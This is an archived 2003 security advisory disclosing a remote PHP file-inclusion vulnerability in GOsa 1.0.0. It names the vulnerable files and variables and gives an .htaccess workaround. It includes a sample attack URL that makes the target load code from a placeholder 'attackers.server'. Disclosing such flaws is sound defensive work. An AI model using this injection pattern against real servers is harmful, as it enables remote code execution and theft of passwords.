GOnicus System Administrator php injection

From: Karol Wiesek (appelastat_private)
Date: Mon Feb 24 2003 - 08:44:19 PST

  • Next message: Raj Mathur: "Re: Netscape 6/7 crashes by a simple stylesheet..."

    I. BACKGROUND
    
    The GOnicus System Administrator is a PHP based administration tool
    for managing accounts/systems in LDAP databases.
    
    Project homepage : http://www.gonicus.de
    
    II. DESCRIPTION
    
    A remote attacker can inject into GOsa arbitrary PHP code 
    that executes under the privileges of the underlying web server. 
    There are serveral places, where by modifying several variables
    attacker could execute arbitrary PHP code. 
    
    By setting plugin variable in following files attacker could
    include remote files and execute them as a PHP code :
    
    plugins/3fax/1blocklists/index.php
    plugins/2administration/6departamentadmin/index.php
    plugins/2administration/5terminals/index.php
    plugins/2administration/4mailinglists/index.php
    plugins/2administration/3departaments/index.php
    plugins/2administration/2groupd/index.php
    
    The same situation exists in include/help.php where we could
    set base variable as a remote host and include remote file.
    
    
    The following is a sample attack URL that would cause 
    "target.server" to load include/common.inc from  
    "attackers.server".
    
    http://target.server/include/help.php?base=http://attackers.server/
    
    GOsa doesnt' support "register_globals off".
    
    III. ANALYSIS
    
    Remote exploitation allows an attacker to execute arbitrary 
    commands and code under the privileges of the web server. This also
    opens the door to privilege escalation attacks. Attacker could also
    debug httpd child processes and grab secret information like users
    system passwords, LDAP passwords.
    
    IV. DETECTION
    
    GOsa version 1.0.0 ( current ) is confirmed vulnerable.
    
    V. Workaround
    
    Temporary solution is to enable apache .htaccess authentication
    in all subdirectories containing .php files, which are included, not
    accessed directly.
    
    Example .htaccess file
    
    AuthType Basic
    AuthName koza
    AuthUserFile /dev/null
    require valid-user
    
    Karol Wiesek [appelast-at-bsquad.sm.pl]
    



    This archive was generated by hypermail 2b30 : Wed Feb 26 2003 - 11:45:54 PST